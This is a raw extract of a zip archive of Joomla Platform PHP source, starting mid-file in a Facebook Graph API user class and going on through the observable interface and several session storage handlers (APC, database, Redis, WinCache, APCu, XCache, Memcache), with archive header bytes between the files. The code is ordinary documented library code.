* @since 3.2.0 */ public function getCheckins($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'checkins', '', $limit, $offset, $until, $since); } /** * Method to create a checkin for a user. Requires authentication and publish_checkins permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $place Id of the Place Page. * @param string $coordinates A JSON-encoded string containing latitute and longitude. * @param string $tags Comma separated list of USER_IDs. * @param string $message A message to add to the checkin. * @param string $link A link to add to the checkin. * @param string $picture A picture to add to the checkin. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createCheckin($user, $place, $coordinates, $tags = null, $message = null, $link = null, $picture = null) { // Set POST request parameters. $data = array(); $data['place'] = $place; $data['coordinates'] = $coordinates; $data['tags'] = $tags; $data['message'] = $message; $data['link'] = $link; $data['picture'] = $picture; return $this->createConnection($user, 'checkins', $data); } /** * Method to get the user's likes. Requires authentication and user_likes or friends_likes permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'likes', '', $limit, $offset, $until, $since); } /** * Method to see if a user likes a specific Page. Requires authentication. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $page Facebook ID of the Page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function likesPage($user, $page) { return $this->getConnection($user, 'likes/' . $page); } /** * Method to get the current user's events. Requires authentication and user_events or friends_events permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getEvents($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'events', '', $limit, $offset, $until, $since); } /** * Method to create an event for a user. Requires authentication create_event permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $name Event name. * @param string $startTime Event start time as UNIX timestamp. * @param string $endTime Event end time as UNIX timestamp. * @param string $description Event description. * @param string $location Event location. * @param string $locationId Facebook Place ID of the place the Event is taking place. * @param string $privacyType Event privacy setting, a string containing 'OPEN' (default), 'CLOSED', or 'SECRET'. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createEvent($user, $name, $startTime, $endTime = null, $description = null, $location = null, $locationId = null, $privacyType = null) { // Set POST request parameters. $data = array(); $data['start_time'] = $startTime; $data['name'] = $name; $data['end_time'] = $endTime; $data['description'] = $description; $data['location'] = $location; $data['location_id'] = $locationId; $data['privacy_type'] = $privacyType; return $this->createConnection($user, 'events', $data); } /** * Method to edit an event. Requires authentication create_event permission. * * @param mixed $event Event ID. * @param string $name Event name. * @param string $startTime Event start time as UNIX timestamp. * @param string $endTime Event end time as UNIX timestamp. * @param string $description Event description. * @param string $location Event location. * @param string $locationId Facebook Place ID of the place the Event is taking place. * @param string $privacyType Event privacy setting, a string containing 'OPEN' (default), 'CLOSED', or 'SECRET'. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function editEvent($event, $name = null, $startTime = null, $endTime = null, $description = null, $location = null, $locationId = null, $privacyType = null) { // Set POST request parameters. $data = array(); $data['start_time'] = $startTime; $data['name'] = $name; $data['end_time'] = $endTime; $data['description'] = $description; $data['location'] = $location; $data['location_id'] = $locationId; $data['privacy_type'] = $privacyType; return $this->createConnection($event, null, $data); } /** * Method to delete an event. Note: you can only delete the event if it was created by the same app. Requires authentication create_event permission. * * @param string $event Event ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteEvent($event) { return $this->deleteConnection($event); } /** * Method to get the groups that the user belongs to. Requires authentication and user_groups or friends_groups permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getGroups($user, $limit = 0, $offset = 0) { return $this->getConnection($user, 'groups', '', $limit, $offset); } /** * Method to get the user's posted links. Requires authentication and user_groups or friends_groups permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLinks($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'links', '', $limit, $offset, $until, $since); } /** * Method to post a link on user's feed. Requires authentication and publish_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $link Link URL. * @param string $message Link message. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createLink($user, $link, $message = null) { // Set POST request parameters. $data = array(); $data['link'] = $link; $data['message'] = $message; return $this->createConnection($user, 'feed', $data); } /** * Method to delete a link. Requires authentication and publish_stream permission. * * @param mixed $link The Link ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLink($link) { return $this->deleteConnection($link); } /** * Method to get the user's notes. Requires authentication and user_groups or friends_groups permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getNotes($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'notes', '', $limit, $offset, $until, $since); } /** * Method to create a note on the behalf of the user. * Requires authentication and publish_stream permission, user_groups or friends_groups permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $subject The subject of the note. * @param string $message Note content. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createNote($user, $subject, $message) { // Set POST request parameters. $data = array(); $data['subject'] = $subject; $data['message'] = $message; return $this->createConnection($user, 'notes', $data); } /** * Method to get the user's photos. Requires authentication and user_groups or friends_groups permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getPhotos($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'photos', '', $limit, $offset, $until, $since); } /** * Method to post a photo on user's wall. Requires authentication and publish_stream permission, user_groups or friends_groups permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $source Path to photo. * @param string $message Photo description. * @param string $place Facebook ID of the place associated with the photo. * @param boolean $noStory If set to 1, optionally suppresses the feed story that is automatically * generated on a user’s profile when they upload a photo using your application. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createPhoto($user, $source, $message = null, $place = null, $noStory = null) { // Set POST request parameters. $data = array(); $data[basename($source)] = '@' . realpath($source); $data['message'] = $message; $data['place'] = $place; $data['no_story'] = $noStory; return $this->createConnection($user, 'photos', $data, array('Content-Type' => 'multipart/form-data')); } /** * Method to get the user's posts. Requires authentication and read_stream permission for non-public posts. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param boolean $location Retrieve only posts with a location attached. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getPosts($user, $location = false, $limit = 0, $offset = 0, $until = null, $since = null) { if ($location == true) { $location = '?with=location'; } // Send the request. return $this->getConnection($user, 'posts', $location, $limit, $offset, $until, $since); } /** * Method to post on a user's wall. Message or link parameter is required. Requires authentication and publish_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $message Post message. * @param string $link Post URL. * @param string $picture Post thumbnail image (can only be used if link is specified) * @param string $name Post name (can only be used if link is specified). * @param string $caption Post caption (can only be used if link is specified). * @param string $description Post description (can only be used if link is specified). * @param array $actions Post actions array of objects containing name and link. * @param string $place Facebook Page ID of the location associated with this Post. * @param string $tags Comma-separated list of Facebook IDs of people tagged in this Post. * For example: 1207059,701732. You cannot specify this field without also specifying a place. * @param string $privacy Post privacy settings (can only be specified if the Timeline being posted * on belongs to the User creating the Post). * @param string $objectAttachment Facebook ID for an existing picture in the User's photo albums to use as the thumbnail image. * The User must be the owner of the photo, and the photo cannot be part of a message attachment. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createPost($user, $message = null, $link = null, $picture = null, $name = null, $caption = null, $description = null, $actions = null, $place = null, $tags = null, $privacy = null, $objectAttachment = null) { // Set POST request parameters. $data = array(); $data['message'] = $message; $data['link'] = $link; $data['name'] = $name; $data['caption'] = $caption; $data['description'] = $description; $data['actions'] = $actions; $data['place'] = $place; $data['tags'] = $tags; $data['privacy'] = $privacy; $data['object_attachment'] = $objectAttachment; $data['picture'] = $picture; return $this->createConnection($user, 'feed', $data); } /** * Method to delete a post. Note: you can only delete the post if it was created by the current user. Requires authentication * * @param string $post The Post ID. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deletePost($post) { return $this->deleteConnection($post); } /** * Method to get the user's statuses. Requires authentication read_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getStatuses($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'statuses', '', $limit, $offset, $until, $since); } /** * Method to post a status message on behalf of the user. Requires authentication publish_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $message Status message content. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createStatus($user, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($user, 'feed', $data); } /** * Method to delete a status. Note: you can only delete the post if it was created by the current user. * Requires authentication publish_stream permission. * * @param string $status The Status ID. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deleteStatus($status) { return $this->deleteConnection($status); } /** * Method to get the videos the user has been tagged in. Requires authentication and user_videos or friends_videos permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getVideos($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'videos', '', $limit, $offset, $until, $since); } /** * Method to post a video on behalf of the user. Requires authentication and publish_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $source Path to video. * @param string $title Video title. * @param string $description Video description. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createVideo($user, $source, $title = null, $description = null) { // Set POST request parameters. $data = array(); $data[basename($source)] = '@' . realpath($source); $data['title'] = $title; $data['description'] = $description; return $this->createConnection($user, 'videos', $data, array('Content-Type' => 'multipart/form-data')); } /** * Method to get the posts the user has been tagged in. Requires authentication and user_videos or friends_videos permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getTagged($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'tagged', '', $limit, $offset, $until, $since); } /** * Method to get the activities listed on the user's profile. Requires authentication and user_activities or friends_activities permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getActivities($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'activities', '', $limit, $offset, $until, $since); } /** * Method to get the books listed on the user's profile. Requires authentication and user_likes or friends_likes permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getBooks($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'books', '', $limit, $offset, $until, $since); } /** * Method to get the interests listed on the user's profile. Requires authentication. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getInterests($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'interests', '', $limit, $offset, $until, $since); } /** * Method to get the movies listed on the user's profile. Requires authentication and user_likes or friends_likes permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getMovies($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'movies', '', $limit, $offset, $until, $since); } /** * Method to get the television listed on the user's profile. Requires authentication and user_likes or friends_likes permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getTelevision($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'television', '', $limit, $offset, $until, $since); } /** * Method to get the music listed on the user's profile. Requires authentication user_likes or friends_likes permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getMusic($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'music', '', $limit, $offset, $until, $since); } /** * Method to get the user's subscribers. Requires authentication and user_subscriptions or friends_subscriptions permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getSubscribers($user, $limit = 0, $offset = 0) { return $this->getConnection($user, 'subscribers', '', $limit, $offset); } /** * Method to get the people the user is subscribed to. Requires authentication and user_subscriptions or friends_subscriptions permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getSubscribedTo($user, $limit = 0, $offset = 0) { return $this->getConnection($user, 'subscribedto', '', $limit, $offset); } } PK�\�W�lJJjoomla/observable/interface.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Observer * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Observable Subject pattern interface for Joomla * * To make a class and its inheriting classes observable: * 1) add: implements JObservableInterface * to its class * * 2) at the end of the constructor, add: * // Create observer updater and attaches all observers interested by $this class: * $this->_observers = new JObserverUpdater($this); * JObserverMapper::attachAllObservers($this); * * 3) add the function attachObserver below to your class to add observers using the JObserverUpdater class: * public function attachObserver(JObserverInterface $observer) * { * $this->_observers->attachObserver($observer); * } * * 4) in the methods that need to be observed, add, e.g. (name of event, params of event): * $this->_observers->update('onBeforeLoad', array($keys, $reset)); * * @since 3.1.2 */ interface JObservableInterface { /** * Adds an observer to this JObservableInterface instance. * Ideally, this method should be called from the constructor of JObserverInterface * which should be instantiated by JObserverMapper. * The implementation of this function can use JObserverUpdater * * @param JObserverInterface $observer The observer to attach to $this observable subject * * @return void * * @since 3.1.2 */ public function attachObserver(JObserverInterface $observer); } PK�\k�9��joomla/session/storage/apc.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * APC session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageApc extends JSessionStorage { /** * Constructor * * @param array $options Optional parameters * * @since 1.7.0 * @throws RuntimeException */ public function __construct($options = array()) { if (!self::isSupported()) { throw new RuntimeException('APC Extension is not available', 404); } parent::__construct($options); } /** * Read the data for a particular session identifier from the * SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.7.0 */ public function read($id) { $sess_id = 'sess_' . $id; return (string) apc_fetch($sess_id); } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function write($id, $sessionData) { $sess_id = 'sess_' . $id; return apc_store($sess_id, $sessionData, ini_get('session.gc_maxlifetime')); } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function destroy($id) { $sess_id = 'sess_' . $id; return apc_delete($sess_id); } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return extension_loaded('apc'); } } PK�\P���ss#joomla/session/storage/database.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Database session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageDatabase extends JSessionStorage { /** * Read the data for a particular session identifier from the SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.7.0 */ public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quoteBinary($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result; } catch (RuntimeException $e) { return false; } } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $data The session data. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); try { $query = $db->getQuery(true) ->update($db->quoteName('#__session')) ->set($db->quoteName('data') . ' = ' . $db->quote($data)) ->set($db->quoteName('time') . ' = ' . time()) ->where($db->quoteName('session_id') . ' = ' . $db->quoteBinary($id)); // Try to update the session data in the database table. $db->setQuery($query); $db->execute(); /* * Since $db->execute did not throw an exception, so the query was successful. * Either the data changed, or the data was identical. * In either case we are done. */ return true; } catch (RuntimeException $e) { return false; } } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function destroy($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { $query = $db->getQuery(true) ->delete($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quoteBinary($id)); // Remove a session from the database. $db->setQuery($query); return (boolean) $db->execute(); } catch (RuntimeException $e) { return false; } } /** * Garbage collect stale sessions from the SessionHandler backend. * * @param integer $lifetime The maximum age of a session. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function gc($lifetime = 1440) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); // Determine the timestamp threshold with which to purge old sessions. $past = time() - $lifetime; try { $query = $db->getQuery(true) ->delete($db->quoteName('#__session')) ->where($db->quoteName('time') . ' < ' . (int) $past); // Remove expired sessions from the database. $db->setQuery($query); return (boolean) $db->execute(); } catch (RuntimeException $e) { return false; } } } PK�\)C9� joomla/session/storage/redis.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Redis session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 3.8.0 */ class JSessionStorageRedis extends JSessionStorage { /** * Constructor * * @param array $options Optional parameters. * * @since 3.8.0 */ public function __construct($options = array()) { if (!self::isSupported()) { throw new RuntimeException('Redis Extension is not available', 404); } $config = JFactory::getConfig(); $this->_server = array( 'host' => $config->get('session_redis_server_host', 'localhost'), 'port' => $config->get('session_redis_server_port', 6379), 'persist' => $config->get('session_redis_persist', true), 'auth' => $config->get('session_redis_server_auth', null), 'db' => (int) $config->get('session_redis_server_db', 0), ); // If you are trying to connect to a socket file, ignore the supplied port if ($this->_server['host'][0] === '/') { $this->_server['port'] = 0; } parent::__construct($options); } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 3.8.0 */ public function register() { if (!empty($this->_server) && isset($this->_server['host'], $this->_server['port'])) { if (!headers_sent()) { if ($this->_server['port'] === 0) { $path = 'unix://' . $this->_server['host']; } else { $path = 'tcp://' . $this->_server['host'] . ":" . $this->_server['port']; } $persist = isset($this->_server['persist']) ? $this->_server['persist'] : false; $db = isset($this->_server['db']) ? $this->_server['db'] : 0; $path .= '?persistent=' . (int) $persist . '&database=' . $db; if (!empty($this->_server['auth'])) { $path .= '&auth=' . $this->_server['auth']; } ini_set('session.save_path', $path); ini_set('session.save_handler', 'redis'); } // This is required if the configuration.php gzip is turned on ini_set('zlib.output_compression', 'Off'); } } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.8.0 */ public static function isSupported() { return extension_loaded('redis') && class_exists('Redis'); } } PK�\>o}��joomla/session/storage/none.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * File session handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageNone extends JSessionStorage { /** * Register the functions of this class with PHP's session handler * * @return void * * @since 1.7.0 */ public function register() { // Default session handler is `files` } } PK�\pK�dd#joomla/session/storage/wincache.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * WINCACHE session storage handler for PHP * * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageWincache extends JSessionStorage { /** * Constructor * * @param array $options Optional parameters. * * @since 1.7.0 * @throws RuntimeException */ public function __construct($options = array()) { if (!self::isSupported()) { throw new RuntimeException('Wincache Extension is not available', 404); } parent::__construct($options); } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 3.0.1 */ public function register() { if (!headers_sent()) { ini_set('session.save_handler', 'wincache'); } } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return extension_loaded('wincache') && function_exists('wincache_ucache_get') && !strcmp(ini_get('wincache.ucenabled'), '1'); } } PK�\M� � joomla/session/storage/apcu.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * APC session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 3.9 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageApcu extends JSessionStorage { /** * Constructor * * @param array $options Optional parameters * * @since 3.9 * @throws RuntimeException */ public function __construct($options = array()) { if (!self::isSupported()) { throw new RuntimeException('APCu Extension is not available', 404); } parent::__construct($options); } /** * Read the data for a particular session identifier from the * SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 3.9 */ public function read($id) { $sess_id = 'sess_' . $id; return (string) apcu_fetch($sess_id); } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 3.9 */ public function write($id, $sessionData) { $sess_id = 'sess_' . $id; return apcu_store($sess_id, $sessionData, ini_get('session.gc_maxlifetime')); } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 3.9 */ public function destroy($id) { $sess_id = 'sess_' . $id; // The apcu_delete function returns false if the id does not exist return apcu_delete($sess_id = 'sess_' . $id) || !apcu_exists($sess_id = 'sess_' . $id); } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.9 */ public static function isSupported() { $supported = extension_loaded('apcu') && ini_get('apc.enabled'); // If on the CLI interface, the `apc.enable_cli` option must also be enabled if ($supported && php_sapi_name() === 'cli') { $supported = ini_get('apc.enable_cli'); } return (bool) $supported; } } PK�\97����!joomla/session/storage/xcache.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * XCache session storage handler * * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageXcache extends JSessionStorage { /** * Constructor * * @param array $options Optional parameters. * * @since 1.7.0 * @throws RuntimeException */ public function __construct($options = array()) { if (!self::isSupported()) { throw new RuntimeException('XCache Extension is not available', 404); } parent::__construct($options); } /** * Read the data for a particular session identifier from the SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.7.0 */ public function read($id) { $sess_id = 'sess_' . $id; // Check if id exists if (!xcache_isset($sess_id)) { return; } return (string) xcache_get($sess_id); } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function write($id, $sessionData) { $sess_id = 'sess_' . $id; return xcache_set($sess_id, $sessionData, ini_get('session.gc_maxlifetime')); } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function destroy($id) { $sess_id = 'sess_' . $id; if (!xcache_isset($sess_id)) { return true; } return xcache_unset($sess_id); } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return extension_loaded('xcache'); } } PK�\�����#joomla/session/storage/memcache.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Memcache session storage handler for PHP * * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageMemcache extends JSessionStorage { /** * @var array Container for memcache server conf arrays */ private $_servers = array(); /** * Constructor * * @param array $options Optional parameters. * * @since 1.7.0 * @throws RuntimeException */ public function __construct($options = array()) { if (!self::isSupported()) { throw new RuntimeException('Memcache Extension is not available', 404); } $config = JFactory::getConfig(); // This will be an array of loveliness // @todo: multiple servers $this->_servers = array( array( 'host' => $config->get('session_memcache_server_host', 'localhost'), 'port' => $config->get('session_memcache_server_port', 11211), ), ); parent::__construct($options); } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 3.0.1 */ public function register() { if (!empty($this->_servers) && isset($this->_servers[0])) { $serverConf = current($this->_servers); if (!headers_sent()) { $path = $serverConf['host']; if ($serverConf['port'] > 0) { $path .= ':' . $serverConf['port']; } ini_set('session.save_path', $path); ini_set('session.save_handler', 'memcache'); } } } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return extension_loaded('memcache') && class_exists('Memcache'); } } PK�\�S;��$joomla/session/storage/memcached.phpnu�[���<?php /** * @package Joomla.Platform 